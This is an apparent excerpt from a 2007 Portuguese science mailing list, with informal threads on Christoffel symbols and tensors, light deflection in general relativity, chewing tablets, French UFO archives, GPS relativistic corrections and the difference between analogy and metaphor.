dR / d(xi), ou seja, a derivada do vetor posição em relação a uma coordenada qualquer, (i), dá um vetor que é tangente à curva x(i) correspondente e não é unitário. Essa derivada dá, ponto a ponto, a inclinação da curva x(i), portanto, definindo-a univocamente. Essa é uma propriedade geral e é muito importante. Sendo a derivada de um vetor, será também um vetor. E mais, sendo as demais curvas coordenadas ortogonais, segue-se que esses vetores tangentes, em cada ponto, também serão ortogonais. E isto é de uma conveniência que dá gosto!
Segue-se desta pequena exposição, que teremos, em cada ponto do espaço, um sistema ortogonal de vetores e(i), i = 1,2,3, igual ao do ponto anterior mais a variação entre os dois pontos. São diferentes, de ponto a ponto, mas são perfeitamente definidos em cada um. E isso é o bastante para que todo o espaço fique perfeitamente especificado. Ou seja, três vetores ortogonais, que formam uma base natural para o espaço considerado!. Esse vetor, cuja variação total entre dois pontos distanciados de um comprimento ds é de(i), tem variações em relação a cada eixo coordenado, que são:

dparcial e(i) / dparcial x(j), significando as derivadas parciais de cada e(i) em relação aos três "eixos" coordenados curvilíneos, x(1), x(2) e x(3), ou seja: j = 1,2,3..

Aquí entra a grande percepção de Cartan e seguidores: a variação de e(i) em relação a cada coordenada pode ser escrita como combinações lineares do próprio vetor de base natural, e(i)! E pode-se provar que isso é assim. Essas variações de e(i) em relação a cada coordenada é expressa como a derivada parcial de e(i) em relação a x(1), x(2) ou x(3).
Assim, podemos escrever para :

(I) dparcial e(i) / dparcial x(j) = SC(i) [1] (j) e(1) + SC(i) [2] (j) e(2) SC(i) [3] (j) e(3) +....+SC(i) [n] (j) e(n) ou, sucintamente:


dparcial e(i) / dparcial x(j) = SC(i) [k] (j) e(k),

onde o índice k repetido representa uma soma sobre os valores de k = 1,2,3,....,n. Como estamos num espaço 3-dimensional nosso de cada dia, k = 1,2,3 mesmo. O que simplficia tudo.

Agora, vamos ao significado de SC(i) [k] (j).

Na literatura, SC é representado pela letra grega gamma maiúscula(GAMMA). As posições dos índices em GAMMA são as seguintes: o i, é indicativo de qual vetor de base estamos tratando, fica na parte de baixo do letra representativa GAMMA; o índice j, é o que indica a variável em relação à qual estamos calculando as variação de e(i). Este índice, j, é postado também na parte de baixo, de GAMMA. O índice k, aparece tanto no símbolo GAMMA como em e(i), como , e(k). Esse índice k, disposto da maneira acima, significa uma soma, e evita o uso chato e enfadonho dos símbolos de somatórios. Foi notado por Einstein, quando estudou coisas do tipo, sendo hoje conhecido como regra de Einstein para os somatórios tomarem doril e assim facilitar a vida dos preguiçosos. Isto simplficou muito o estudo desse formalismo matemático cuja designação genérica é análise tensorial(que não é necessário saber agora, para entender o que vem em seguida). No símbolo GAMMA, esse k, ou qualquer outra letra é escrita em cima, enquanto no vetor de base a que se refere é escrita embaixo. Para representar uma soma, estes índices, que podem ser quaisquer(nesse caso), são chamados de mudos, e têm que entrar repetidos num monômio, um em cima e outro embaixo. Isto de em cima e embaixo tem uma razão lógica de ser. Mas se eu não disser agora, não atrapalhará o entendimento do que virá a seguir, que é meu objetivo. Para não sobrecarregar mais o texto, fica para depois, se quiser.

Tentando escrever o mais próximo do que descreví, ficaria assim:

dparcial e(i) / dparcial x(j) = SC(i) [k] (j) = GAMMA-(i)(j) ^[k],

o subscrito ( _ ) e o superscrito ( ^) indicando embaixo e em cima, respectivamente. Não fica muito elegante não, mas é o melhor que pode ser feito aquí.

Os coeficientes da combinação linear dos vetores de base natural é que permitem, como se vê acima, a conexão ou link entre dois pontos vizinhos, e(i) e e(i) + de(i).

São os chamados símbolos de Christoffer, como disse acima, representandos por GAMMA, afetado dos índices i, j e k, nas posições descritas.
O nome conexão fica clara olhando a combinação linear acima. Os coeficientes GAMMA_(i) (j) ^ [k] ajustam as amplitudes de cada na medida exata para que a soma de todos os produtos C.L recupere o valor dparcial e(i) / dparcial x(j) e têm, assim, um signficado geométrico imediato e simples, com os seus índices perfeitamente definidos e clarificados.

Um tensor é um ente matemático que se transforma segundo uma dada lei(que não vem ao caso agora), ao passar de um referencial para outro. Chamemos essa tal lei de T. Tensor é também um nome genérico para referir vetores em espaços quaisquer. A ordem do tensor diz o tipo de espaço. Um escalar é, assim, um tensor de ordem zero; um vetor 3-dimensional, um tensor de ordem 1; um vetor 4-dimensional, é um tensor de ordem 2, também chamado de 4-vetor e assim sucessivamente. Mas todos se transformam segundo uma mesma lei, T.
Se uma grandeza física se transforma segunda essa lei T, então ela um tensor. Uma conexão afim, representado por GAMMA_(i) (j) ^ [k] , não se transforma segundo T. Logo, não é um tensor. É o que posso dizer por agora.
Você pergunta: conexão afim seria algum tipo de derivada de um tensor? Não. Mas a conexão afim é dada por um combinação de derivadas parciais de um outro tensor, chamado tensor métrico. Mas GAMMA_(i) (j) ^ [k] , em si, não é um tensor, pois não obedece à lei de transformação, T. Nem sempre uma soma de tensores resulta num tensor. Só para adiantar algo que poderemos discutir noutra oportunidade:
Antes de terminar, alguém pode indagar: qual a vantagem principal para o uso desse negócio de tensor? Uma primeira resposta seria:
1) elimina a necessidade do tratamento dos problemas usando o cálculo vetorial(como acontece com coordenadas genéricas, no formalismo de Lagrange, de mecânica). isto, por si só, já é uma riqueza.
2) O tensor é independente do sistema de coordenadas usado. Essa característica do formalismo é crucial. É concenso que, se uma grandeza não ser expressa na linguagem tensorial, ela não pode ser uma grandeza física! Então, quem elabora teorias físicas, deve garantir-lhe a honra de ser vestida pela roupagem tensorial.
E muito mais, muito mais.

Mas, voltando ao foco, esses símbolos, GAMMA_(i) (j) ^ [k] , entram de maneira intensa e determinante em todas as expressões envolvendo métricas. O seu cálculo, como disse, é osso duro de roer, em termos braçais, claro. Mas o computador e máquinas de calcular se encarregam disso. O fundamental é a compreensão de seu significado.

Ah, prova-se facilmente que, num campo gravitacional, a aceleração de uma partícula é proporcional aos símbolos GAMMA_(i) (j) ^ [k] acima comentados!.
E isto está vinculado ao Princípio da Equivalência de Einstein, verdadeiramente a pancada mais genial que alguém já logrou oferecer aos nossos pobres juizos.
Ou seja, os bichos mais cabeludos da análise tensorial, acabam sendo de fácil entendimento. Se houver interêsse, poderei falar sobre outros conceitos tidos como estratosféricos, e que não são, muito pelo contrário: trata-se de tensor métrico e derivadas covariantes, que têm significados simples e imediatos.

Alerto que as explicações acima foram feitas de maneira informal. O rigor matemático não foi prioridade. Só queria dar uma idéia da coisa, como a coisa é.
E aviso também que cabulei meu próprio trabalho, a tarde inteira, para escrever este texto. Portanto, se alguém chegar até aquí e ficar em condições de formular alguma pergunta, por mais simples que seja, terá valido a pena. É sinal de que se interessou. E eu não falei tão em grego assim.

Putz, acabou ficando quilométrico. Espero haver esclarecido alguma coisa.

Sds,
Victor.


[]s,

Roberto Takata






__________ Informação do NOD32 IMON 1.1772 (20060924) __________

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SUBJECT: Re: Comprovação da teoria de Einstein
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 21:55

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Homero: "as equações de Einstein previam que, se fossem corretas, a
> luz de uma estrela ao passar ao lado de um corpo massivo como outra
> estrela, devido a seu fortíssimo campo gravitacional, apresentaria a
> observadores uma "curvatura", pois tenderia a se mover de acordo com o
> espaço, em linha reta, e este estaria "curvado".
>
> Pergunta (p/ todos): O efeito detectado não poderia ser o da gravidade
> da estrela sobre a trajetória da luz/fótons?

E é exatamente isso q as equações einstenianas previam. E o grau de
curvatura - q é maior do q seria esperado pelo efeito newtoniano.

[]s,

Roberto Takata



SUBJECT: Re: Comprovação da teoria de Einstein
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 22:56

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> E é exatamente isso q as equações einstenianas previam. E o grau de
> curvatura - q é maior do q seria esperado pelo efeito newtoniano.

http://www.astro.ucla.edu/~wright/deflection-delay.html

[]s,

Roberto Takata



SUBJECT: mastigar comprimidos
FROM: "Anderson -" <der_antikrist@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 23:36

Olá a todos,

Há algum tempo ouvi falar que mastigar os comprimidos antes de engolir faz
com que eles tenham efeito mais rápido. É verdade isso? E se sim, por quê?

Abraços,

Anderson

_________________________________________________________________
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SUBJECT: Re: mastigar comprimidos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/03/2007 00:33

--- Em ciencialist@yahoogrupos.com.br, "Anderson -"
> Há algum tempo ouvi falar que mastigar os comprimidos antes de engolir
> faz com que eles tenham efeito mais rápido. É verdade isso? E se sim,
> por quê?

Pode ser q ocorra isso sim. Ao mastigar, aumenta-se a superfície de
contato do medicamento e do veículo com o ambiente aquoso - isso faz
com q se dissolva mais rapidamente e possa ser absorvido mais rapidamente.

Isso pode ser perigoso para vários casos. Todo medicamento de
administração oral é preparado para q atinja um certo nível de
concentração sanguínea ao longo do tempo. Se mastigado, pode ser q a
concentração fique muito alta rapidamente (causando efeitos colaterais
indesejados e perigosos). Além disso, pode ser eliminado mais
rapidamente, ficando o nível do medicamento mais baixo antes q uma
nova dose seja administrada.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] mastigar comprimidos
FROM: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/03/2007 03:56

Alguns comprimidos (aqueles revestidos) nao podem ser mastigados pois o contato com a boca e suas secrecoes pode pode alterar a cinetica do medicamento. Para os outros, vale a seguinte verdade: o medicamento foi estudado e a interacao dele no organismo inclui a dinamica de absorcao, e a alteracao na forma de absorcao (mastigado, em po, dissolvido em liquido) pode ser inocua ou pode causar diferente resposta do esperado. O melhor é nao arriscar.
----- Original Message -----
From: Anderson -
Subject: [ciencialist] mastigar comprimidos


Olá a todos,

Há algum tempo ouvi falar que mastigar os comprimidos antes de engolir faz
com que eles tenham efeito mais rápido. É verdade isso? E se sim, por quê?

Abraços,

Anderson


.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Comprovação da teoria de Einstein
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/03/2007 05:07

----- Original Message -----
From: "Gil"
Sent: Thursday, March 22, 2007 7:54 PM
Subject: [ciencialist] Comprovação da teoria de Einstein

> Alberto: Tem como me passar o link do artigo completo
> de fenomenologia que vc falou?

Olá Gil

Infelizmente não tenho o texto completo digitado :-(. Ele foi escrito
em 1987 e é capítulo de um livro meu e já esgotado.

> Homero: "as equações de Einstein previam que, se fossem
> corretas, a luz de uma estrela ao passar ao lado de um
> corpo massivo como outra estrela, devido a seu fortíssimo
> campo gravitacional, apresentaria a observadores uma
> "curvatura", pois tenderia a se mover de acordo com o espaço,
> em linha reta, e este estaria "curvado".
> Pergunta (p/ todos): O efeito detectado não poderia ser o da >
gravidade da estrela sobre a trajetória da luz/fótons?

[As referencias, de 1 a 4, são apresentadas no final da msg]

Einstein [1], ao se referir à curvatura dos raios de luz que passam
próximos ao Sol [2], estima que "metade da deflexão encontrada seria
produzida pelo campo gravitacional, interpretado segundo a mecânica
newtoniana". Este texto, quando mal traduzido, pode levar à falsa
conclusão de que a curvatura seria maior do que aquela que seria
esperada por Newton. Em primeiro lugar, é necessário dizer que Newton
não fez nenhuma previsão a esse respeito. Em segundo, para Newton
existiriam dois efeitos, e não apenas um. Ou seja, a conclusão
apresentada pelo Takata [3] seria mais correta se ele especificasse
qual, dentre os efeitos newtonianos, está sendo levado em
consideração.

Como disse acima, segundo Newton, neste caso existiriam dois efeitos
a responderem pela curvatura e não apenas o gravitacional. Isso está
bem descrito nos Principia [4] e bastante relacionado à refração da
luz.

Para o caso em consideração, "metade da deflexão" descrita por
Einstein seria algo da ordem de 0,83''. Este valor é praticamente
desprezível quando comparado ao desvio sofrido pela luz por uma
minúscula lâmina cortante e de massa desprezível (quando comparada
com a massa solar). No caso solar, nada obsta que a outra metade da
deflexão seja decorrente de um efeito relacionado à refração, e não
associada a efeitos relativísticos (como é aceito consensualmente).
Mas não há como aceitar, pensando-se em termos da mecânica
newtoniana, que o responsável pela refração provocada por uma
minúscula lâmina de vidro, fosse o campo gravitacional produzido por
esta lâmina, mesmo porque para as condições do problema esse campo é
desprezível.

Para que se entenda como este efeito, relacionado à refração, age sem
que haja propriamente uma refração, a figura a seguir poderá ser
útil: http://ecientificocultural.com/ciencialist/figura03.gif . Trata-
se de uma adaptação do texto de Newton e a mostrar como esse segundo
efeito chegou a ser relatado por Newton, no que diz respeito à
curvatura dos raios de luz ("b", "c", e "d", na figura) ao passarem
próximos de um objeto. Newton chegou a fazer esta experiência com
lâminas cortantes. Em rosa está representada a área onde existiria um
possível campo capaz de atrair os curpúsculos de luz. O raio "e"
incide sobre o objeto, podendo ser refletido, absorvido ou
transmitido (após a refração), na dependência da natureza do objeto
considerado. O raio "a" sofre uma curvatura oposta a dos
raios "b", "c" e "d".

A resposta a sua pergunta seria, a meu ver e segundo os cânones
newtonianos, a seguinte: Não, o efeito detectado não pode ser
imputado exclusivamente à gravitação, ainda que esta exerça um efeito
importante (cerca da metade do efeito, segundo Einstein).

Referências:
[1] 1916, Relativity: The Special and General Theory -
http://www.marxists.org/reference/archive/einstein/works/1910s/relativ
e/relativity.pdf - Vide Apendice III-b
[2] Este efeito pode ser observado indiretamente através da análise
da posição das estrelas próximas à coroa solar durante os eclipses.
[3] "E é exatamente isso q as equações einstenianas previam. E o grau
de curvatura - q é maior do q seria esperado pelo efeito newtoniano."
http://br.groups.yahoo.com/group/ciencialist/message/61895
[4] Book I, Section 14. O título desta Seção 14 é "The motion of
minimally small bodies that are acted on by centripetal forces
tending toward each of the individual parts of some great body.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: OVNI´s e a França
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/03/2007 13:56

Lista,

E continua a saga, rumo aos OVNI´s. França em ação. Como sempre, nada de conclusivo ou mininamente aceitável. De qualquer maneira, a crença persiste, quer eu aceite ou não.

Sds,
Victor.


Estadão
A França se transformou nesta quinta-feira, 22, no primeiro país do mundo a publicar na internet os arquivos de seu grupo de cientistas dedicados à busca de óvnis e à pesquisa de fenômenos aeroespaciais não identificados.

Os 1.600 casos analisados pelo Grupo de Estudo e de Informação sobre Fenômenos Aeroespaciais Não Identificados (Geipan, sigla em francês) serão paulatinamente publicados na rede e poderão ser consultados por qualquer um. Embora o grupo não existisse até a décad

a de 70, o primeiro testemunho do tipo foi recolhido na França em 1937.

Como aperitivo, os aficionados e especialistas poderão ter acesso a 400 casos por meio da página do Centro Nacional de Estudos Espaciais (CNES), do qual depende o Geipan. O restante dos dados, incluindo 6 mil testemunhos e 3 mil interrogatórios, serão publicados com o tempo. No total, cerca de 100 mil páginas estarão à disposição do público.

Ali, podem ser encontradas as investigações, os dados e as provas dos casos estudados pelo grupo de cientistas que, em muitas ocasiões, teve que concluir que se tratava de fenômenos inexplicáveis.

"Não se deve esperar de nossos arquivos revelações, mas esperamos que sirvam aos cientistas, e que o fenômeno dos óvnis se transforme, finalmente, em um objeto de estudo como qualquer outro", explicou o atual responsável pelo Geipan.

Alguns casos serão paradigmáticos na história da busca de óvnis, como o avistado pelos membros da tripulação de um vôo francês.

Um objeto que descreveram como algo em forma de lentilha, com cerca de 200 a 300 metros de diâmetro foi claramente visto perto de Paris pelo piloto, o co-piloto e outro membro da tripulação de um vôo da Air France que ia de Nice a Londres, em 28 de janeiro de 1994.

Os radares do Exército francês também detectaram seu rastro, o que levou os especialistas a considerá-lo um óvni, por não encontrarem outra explicação razoável.

Também não encontraram explicação científica para o relato de um pedreiro aposentado que assegurou que, em 1981, viu pousar, perto de seu jardim, uma espécie de disco voador de cerca de 2,5 metros de diâmetro.

Quando os cientistas foram investigar o caso, encontraram provas incompreensíveis: o lugar no qual supostamente aterrissou a nave espacial apresentava restos de terra que, segundo os laboratórios consultados, tinha sido submetida a temperaturas em torno de 600°C e tinha suportado um objeto de entre 500 e 700 quilos.

Além disso, a análise dos pés de alfafa que estavam perto do lugar revelou que os vegetais sofriam um enfraquecimento no processo de fotossíntese que os botânicos só puderam explicar como conseqüência de contato com um campo elétrico intenso. Provas suficientes para qualificar o caso como inexplicável.

O trabalho do Geipan permitiu, também, dar uma explicação científica a outros casos ou descobrir superstições baratas.

Em 1979, o grupo desmascarou alguns feirantes que contaram à imprensa que um deles tinha sido seqüestrado por extraterrestres.

Seis anos depois, os cientistas encontraram uma explicação razoável para que uma bomba alemã da Segunda Guerra Mundial tivesse caído em um campo em que trabalhavam dois agricultores: os nazistas tinham escondido armas em uma restinga próxima e, com o tempo, a nitroglicerina ativou-se sozinha. Desde sua criação nos anos 1970, o Geipan não teve explicação para um em cada três casos.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/03/2007 13:59

Retifico o termo *somente* que usei na afirmação abaixo. Somente é
excludente, ficou exagerado. Em vez de *somente*, melhor dizer, *mais com o
enfoque*.
Assim, fica: [ Depois que o conhecimento passou a ser considerado mais com o
enfoque utilitarista, a Ciência deixou de lado o desafio permanente de
alcançar a Realidade e passou a produzir novidades para comercializar. ]

É óbvio que as novidades só foram possíveis depois que se teve maior
conhecimento do funcionamento da natureza. O que não quer dizer que esse
conhecimento é suficiente para explicar o funcionamento da natureza, nem
afirmar que isso se deu apenas quando Deus foi posto de lado. Vale lembrar
que a filosofia é filha da teologia. Ao buscar entender o Criador, chegou-se
à Criação e às criaturas como evidências e pistas importantes. Até o
Iluminismo a ciência foi desenvolvida por teólogos, filósofos e sacerdotes
com a intenção de se chegar à essência das coisas, uma forma indireta de
entender o pensamento de Deus.

[]s

José Renato

From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 22, 2007 12:01 AM
Subject: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Depois que o conhecimento passou a ser considerado (somente) utilitarista,
> a
> Ciência deixou de lado o desafio permanente de alcançar a Realidade
> e passou a produzir novidades para comercializar.

E as novidades só foram possíveis depois q se passou a ter
conhecimento efetivo sobre o funcionamento da natureza.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] P/ Renato - Re: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/03/2007 14:41

Minha percepção, Homero, é de que são encontradas mais dificuldades para
investir em ciências de benefícios amplos do que ciência para obter lucros.
O Hubbles está se acabando e apesar dos serviços que ele presta às pesquisas
astronômicas, há dificuldades econômicas para reparos e melhorias. Os
aceleradores de partículas são obtidos a fórceps. Já para a guerra do
petróleo, o contribuinte norte-americano perdeu mais de um trilhão de
dólares, que foram cair nas contas das empresas de Bush & Cia. A maioria da
produção da chamada ciência pura ou ciência de benefício amplo, vêm de
universidades tradicionais e de abnegados idealistas. Até os medicamentos
são "preparados" para serem paliativos de uso contínuo e permanente... E um
dos campeões de uso e venda, o viagra, como muitos outros fármacos, teve sua
"indicação" descoberta por acaso. Muitas descobertas são bloqueadas e bons
pesquisadores são cooptados pelas indústrias da morte. Creio que quando
entendermos plenamente o Universo conheceremos o phisys procurado desde os
primórdios da humanidade: Deus.

[]s

José Renato
.................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 22, 2007 12:15 AM
Subject: [ciencialist] P/ Renato - Re: Sobre o Método Cientifico - ad
infinitum


Renato: "a Ciência deixou de lado o desafio permanente de alcançar a
Realidade e passou a produzir novidades para comercializar."

Neste momento, astrofísicos tentam descobrir o que ocorreu nos
primeiros instantes depois do Big Bang, o que não vai produzir nenhuma
novidade para comercializar, mas vai nos ajudar a entender mais nosso
universo e sua realidade.

Neste momento, um super-acelerador de particulas, o Grande Colisor de
Hádrons, está sendo finalizado no CERN, para tentar encontrar o Bóson
de Higens, o que também não vai gerar nenhuma novidade para
comercializar, mas vai no ajudar a entender profundamente a realidade
da matéria de nosso universo.

Neste momento, um desafio impressionante, a resolução de um problema
matemático de 258 dimensões foi produzida, em um feito impressionante
e, claro, totalmente inútil do ponto de vista comercial, mas que nos
leva mais perto da realidade e da compreensão deste universo.

Exemplos como esse se reproduzem mundo afora, a cada dia que passa,
refutando completamente sua alegação.

Infelizmente, não há, neste momento, cientistas tentando encontrar
duendes, fadas, atlantes de alpha-centauri, Zeus ou Jeová, divindades
diversas, e todo conjunto de seres imaginários que nossa mente pode criar.

Existem, entretanto, pessoas, muitas na verdade, que crêem
profundamente em tudo isso (algumas até crêem em mais de uma dessas
criaturas imaginárias), que procuram "alcançar a realidade".

Tem certeza de que acha mais seguro, confiável e razoável ficar do
lado delas, e tentar "alcaçar a realidade" dessa forma, em vez do lado
da ciência, Renato?

Um abraço.

Homero




--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > que o conhecimento passou a ser considerado somente utilitarista, a
> > Ciência deixou de lado o desafio permanente de alcançar a Realidade
> > e passou a produzir novidades para comercializar.
>
> E as novidades só foram possíveis depois q se passou a ter
> conhecimento efetivo sobre o funcionamento da natureza.
>
> []s,
>
> Roberto Takata
>




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SUBJECT: Analogia e metáfora
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/03/2007 16:55

Colegas listeiros,
qual a diferença entre uma analogia e uma metáfora? Soube que o ser humano é
a única espécie, até onde se saiba, capaz de realizar metáfora
(homo-metaforis). Acredito que o mesmo não seja válido para a analogia. Mas
já cavei no Houaiss e não consegui uma distinção clara entre ambos, parecem
praticamente sinônimos. Quem me dá uma luz? (luz é uma metáfora e/ou
analogia?)
Esteban.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/03/2007 17:49

Vitor:

Na marinha os barcos usam o GPS com absoluta precisão. e mais: o posiciliomento da ancoragem dos navios plataforma de petróleo, de altíssimo peso e da necessidade de posicionamento absolutamente correto em virtude do sistema de perfuração, são usados corriqueiramente com altíssima precisão.

sds.,
silvio
----- Original Message -----
From: jvictor
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 21, 2007 11:59 AM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico


Alberto,

Vou me imiscuir só um pouquinho.

Alberto: O Homero, por exemplo, parece querer
associar a funcionalidade de um GPS à veracidade da relatividade
moderna, e quero crer que existem muitos cientistas produtores de
conhecimento que não concordariam com ele, até mesmo dentre os
defensores da física moderna.

Victor: Em minha opinião, e pelo tanto que O Homero já se posicionou a respeito, não tenho dúvidas de que ele quis referir, o seguinte, nas poucas palavras que usou, e está correto:

-relógios marcam diferente, a depender do potencial gravitacional onde se encontra e do estado de movimento em que se encontra. Os relógios de um satélite numa dada órbita registram tempos de acordo com o potencial gravitacional associado à órbita e segundo sua velocidade ao longo daquela órbita. Físico nenhum, que conheça realmente física relativística, pode desconhecer esse fato básico e elementar. Se ao sistema GPS(conjunto de satélites) em órbita não for incorporado um corretor dessas diferenças temporais, tenha certeza de uma coisa: os alvos serão atingidos a kilômetros de distância, as previsões de chegada terão erros inadmissíveis, e muitos etcs. Sem os sistemas eletrônicos de correção das diferenças relativísticas de tempo, simplesmente o sistema GPS já teria entrado pela perna do pinto e saido pela do pato. E ele não entrou. Está aí, cada vez mais preciso.
Esse assunto já foi discutido neste fórum, você deve lembrar. Na ocasião, saí da área meramente teórica e busquei fornecer dados tecnológicos, o que foi desconsiderado e o assunto parou por alí, com a alegação(nem tão subliminar...) de que aqueles argumentos eram menos que isso: nada! E o assunto parou po aí.
Então, nesse sentido, os sistemas de controle eletrônicos, incorporados ao GPS, constituem, sim, mais uma forte e cara evidência de que tempo e espaço não coisas absolutas e independentes. Validam, pois a TR.
Não creio que alguém, físico moderno (não existem físicos modernos ou antiquados, existem apenas físicos) ou não, que tenha entendido, realmente, os meros dois postulados da relatividade, bem como o igualmente gigantesco princípo da equivalência, e por extensão, suas consequências, possa pensar diferente.
Estou devendo uma boa quantidade de retornos aos seus e-mails, sobre com o assunto poisson. Não o fiz por falta de consideração, isso eu lhe garanto. O motivo principal é o trabalho e a luta, dia a dia, para pagar a folha de pagamento e os impostos... Mas as comichações são grandes!. Mas tenho resistido...Mas, logo, logo, porei nossas conversas em dia. Espero.

Sds,
Victor.

----- Original Message -----
From: Alberto Mesquita Filho
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, March 20, 2007 11:02 AM
Subject: [ciencialist] Re: Sobre o Método Cientifico

----- Original Message -----
From: "Chicao Valadares"
Sent: Sunday, March 18, 2007 11:14 AM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico

> Alberto, isso que voce escreveu é verdade mesmo??
> Então a coisa é mais séria que eu pensava... Talvez seja correto
> dizer que o que se propaga como ciência por aí seja
> um "fundamentalismo cético"(gostei desse termo :p).

"Quem propaga a ciência por aí" em geral não é um cientista produtor
de conhecimentos científicos mas, via de regra, um estudioso e/ou
amante dos avanços científicos. O Homero, por exemplo, parece querer
associar a funcionalidade de um GPS à veracidade da relatividade
moderna, e quero crer que existem muitos cientistas produtores de
conhecimento que não concordariam com ele, até mesmo dentre os
defensores da física moderna. Não sei até que ponto isso serviria
para exemplificar o que você chamou por "fundamentalismo cético", se
é que entendi a locução. Com respeito a esses defensores da física
moderna acima citados, repito o que escrevi no artigo original
[Fonte: http://ecientificocultural.com/ECC2/artigos/metcien3.htm]:
"Certos ou errados, neste caso, os físicos modernos [...] fizeram uma
opção contrária à norma falsificacionista, e não há como criticá-los
por essa conduta, a menos que se pretenda atribuir ao
falsificacionismo uma qualidade que ele não possui: a de estabelecer
critérios absolutos de veracidade..."

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.

[As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Analogia e metáfora
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/03/2007 18:58

Olá Esteban

Embora não seja minha área, vou tentar ajudar com os termos. A metáfora é uma figura de estilo, comparatica, que se apropria de elementos ou propriedades de um objeto para exemplificar outro. Já a analogia apresenta uma relação de equivalência entre duas coisas.

Não ajuda muito assim, não?..:-)

Mas se usar um exemplo fica mais claro.

A Malu Mader É uma gata, é uma metáfora. A Malu NÃO é uma gata, mas eu subentendo que algumas caracteristicas e propriedades deste animal estão presentes na Malu (sensualidade, por exemplo).

Mas, a Malu é COMO uma gata, é uma analogia. Significa que ela funciona, age ou se comporta como um determinado animal que conhecemos.

Uma analogia uma uma comparação do tipo "como se fosse". Os patins funcionam no solo para o patinador COMO SE FOSSEM eskis de neve, na neve.

Assim uma metáfora espera que você compreenda que o elemento em questão tem propriedades que podem ser encontradas no objeto mencionado, e a analogia, que o objeto se comporta COMO SE FOSSE o objeto mencionado.

Se não esclareceu muito, talvez algum co-listeiro tenha melhores exemplos que os meus..:-)

Um abraço.

Homero


----- Original Message -----
From: Esteban Moreno
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 23, 2007 4:55 PM
Subject: [ciencialist] Analogia e metáfora


Colegas listeiros,
qual a diferença entre uma analogia e uma metáfora? Soube que o ser humano é
a única espécie, até onde se saiba, capaz de realizar metáfora
(homo-metaforis). Acredito que o mesmo não seja válido para a analogia. Mas
já cavei no Houaiss e não consegui uma distinção clara entre ambos, parecem
praticamente sinônimos. Quem me dá uma luz? (luz é uma metáfora e/ou
analogia?)
Esteban.

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Analogia e metáfora
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/03/2007 19:55

Homero,

Devo dizer: até cheguei a ensaiar uma resposta para o Esteban, mas tive a sorte de ler esta tua respostas antes. Então, fiquei com a tua resposta. Que deu na minha de 10 a 1! ( o 1 é para que eu não fique tão na lona...)
Simples e direto ao ponto.

Sds,
Victor.


----- Original Message -----
From: Oraculo
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 23, 2007 6:58 PM
Subject: Re: [ciencialist] Analogia e metáfora


Olá Esteban

Embora não seja minha área, vou tentar ajudar com os termos. A metáfora é uma figura de estilo, comparatica, que se apropria de elementos ou propriedades de um objeto para exemplificar outro. Já a analogia apresenta uma relação de equivalência entre duas coisas.

Não ajuda muito assim, não?..:-)

Mas se usar um exemplo fica mais claro.

A Malu Mader É uma gata, é uma metáfora. A Malu NÃO é uma gata, mas eu subentendo que algumas caracteristicas e propriedades deste animal estão presentes na Malu (sensualidade, por exemplo).

Mas, a Malu é COMO uma gata, é uma analogia. Significa que ela funciona, age ou se comporta como um determinado animal que conhecemos.

Uma analogia uma uma comparação do tipo "como se fosse". Os patins funcionam no solo para o patinador COMO SE FOSSEM eskis de neve, na neve.

